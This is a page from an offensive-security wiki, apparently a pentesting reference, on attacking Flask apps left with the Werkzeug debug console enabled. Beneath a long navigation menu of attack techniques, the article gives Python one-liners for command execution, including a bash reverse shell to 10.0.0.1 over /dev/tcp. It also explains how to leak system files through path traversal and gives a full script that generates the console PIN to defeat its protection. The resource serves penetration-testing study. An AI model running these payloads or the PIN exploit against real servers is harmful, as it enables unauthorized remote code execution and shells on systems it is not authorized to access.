Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Console RCE
  • Console PIN Exploit
  • Resources

Was this helpful?

Edit on GitHub
  1. Web Pentesting
  2. Infrastructures
  3. Frameworks

Werkzeug

Last updated 8 months ago

Was this helpful?

Theory

Werkzeug is a comprehensive web application library. It began as a simple collection of various utilities for WSGI applications and has become one of the most advanced WSGI utility libraries. It is commonly used for Flask web application.

Practice

Console RCE

If debug is active you could try to access to /console endpoint or to trigger a Werkzeug error and gain RCE.

__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())

# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()

Console PIN Exploit

In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

According to the Werkzeug , here are the needed variables to generate the PIN code:

Needed variables

Variables needed to exploit the console PIN:

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]
probably_public_bits

username

This is the user who started this Flask instance. You may find it in /proc/self/environ

modname

It's flask.app

getattr(app, 'name', getattr (app .__ class__, 'name'))

You may want to download application files, edit python3.5/site-packages/werkzeug/debug/__init__.py to make it print probably_public_bits and run it locally to get the right variable.

getattr(mod, '__file__', None)

is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc You may find this information in the Werkzeug error message.

private_bits

uuid.getnode()

is the MAC address of the current computer, str(uuid.getnode()) is the decimal expression of the mac address.

To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.

Convert from hex address to decimal representation by running in python e.g.:

# It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692

Side note: It looks like Ubuntu Desktop doesn’t return “correct” values for getnode

get_machine_id()

concatenate the values in /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup after the last slash (/).

To clarify, here is the code used by Werkzeug to generate the machine_id

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:                                                                                                  
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:

Once all variables prepared, run exploit script to generate Werkzeug console PIN:

Generate the PIN

You can use the following code with previous values to generate a valid PIN code

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

If you are on a new version of Werkzeug, try changing the hashing algorithm to sha1 instead of md5.

Resources

It's generally Flask but it may change depending of how the server has been started. Check for details.

WSGI
PIN generation source code
this video
LogoWerkzeug Pentesting | Exploit Noteshideckies
LogowerkzeugHackTricks